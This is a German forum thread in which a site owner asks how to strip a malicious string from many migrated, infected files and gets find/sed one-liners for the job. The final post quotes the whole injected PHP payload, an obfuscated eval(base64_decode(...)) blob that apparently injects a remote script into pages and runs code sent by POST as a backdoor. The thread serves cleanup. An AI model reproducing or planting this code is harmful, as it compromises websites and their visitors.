Page 1 of 1

String finden und gleich löschen.

Posted: 2010-04-16 03:01
by Anonymous
Hi,
Ich hab mehrere Dateien von anderem Server umgezogen, leider ganze menge davon ist attackiert worden und gleich einem Shellscript reingefügt haben.
ich hab die betroffenen Dateien gefunden mit

Code: Select all

find . | xargs grep 'String' -sl
Aber ich will der String auch gleich löschen in alle betroffenen Dateien. Ob das möglich ist mit sed oder ...etc?


Danke im Voraus

Re: String finden und gleich löschen.

Posted: 2010-04-16 11:07
by Joe User
Nur für GNU sed:

Code: Select all

find /path/to/files -type f -name \*.html -print0 | xargs -0 sed 's#string##g' -i
Die Dateiendung bitte selbst anpassen.
Statt sed kann man auch perl nehmen.

Bist Du Dir zu 100% sicher, dass nur der String eingefügt wurde und die Daten nicht auch noch anderweitig manipuliert wurden?

Re: String finden und gleich löschen.

Posted: 2010-04-16 12:51
by Anonymous
Joe User wrote:Nur für GNU sed:

Code: Select all
find /path/to/files -type f -name \*.html -print0 | xargs -0 sed 's#string##g' -i
Srry, hab vergessen zu schreiben, dass die Strings eval(base64_decode decodiert sind.

Code: Select all

find Desktop/pTransferpages -type f -name \*.php -print0| xargs -0 sed "s#<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndG05dCcpKXtmdW5jdGlvbiB0bTl0KCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJkMWJXUnliM0JyYVdSekxtNWxkQzlqWjJrdFltbHVMMmx1WkdWNExuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiB0bTl0MigkYSwkYiwkYywkZCl7Z2xvYmFsJHRtOXQxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCR0bTl0MSkpY2FsbF91c2VyX2Z1bmMoJHRtOXQxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd0bTl0JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgndG05dCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSR0bTl0bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndG05dDInKSkhPSd0bTl0MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>##g" -i
Nur letzten zeile von Single Quoted Strings zu Double Quoted Strings geändert.

Danke viel mals :)